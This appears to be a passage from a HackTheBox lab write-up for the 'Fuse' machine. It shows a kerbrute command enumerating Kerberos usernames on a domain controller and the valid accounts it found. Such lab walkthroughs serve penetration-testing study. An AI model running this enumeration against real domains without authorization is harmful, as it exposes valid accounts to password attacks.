Kerberos


Nmap discovered a Kerberos service running on the target port 88 and 464

User Enumeration


┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ kerbrute userenum --dc fuse.fabricorp.local -d FABRICORP.LOCAL /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
Version: v1.0.3 (9dad6e1) - 02/02/23 - Ronnie Flathers @ropnop
 
2023/02/02 14:39:46 >  Using KDC(s):
2023/02/02 14:39:46 >  	fuse.fabricorp.local:88
 
2023/02/02 14:39:51 >  [+] VALID USERNAME:	 administrator@FABRICORP.LOCAL
2023/02/02 14:40:33 >  [+] VALID USERNAME:	 Administrator@FABRICORP.LOCAL
2023/02/02 14:43:03 >  [+] VALID USERNAME:	 sthompson@FABRICORP.LOCAL
2023/02/02 14:45:12 >  [+] VALID USERNAME:	 fuse@FABRICORP.LOCAL
2023/02/02 14:50:28 >  [+] VALID USERNAME:	 astein@FABRICORP.LOCAL
2023/02/02 15:09:26 >  [+] VALID USERNAME:	 Sthompson@FABRICORP.LOCAL

Kerbrute found a few users. Those will be appended to the users file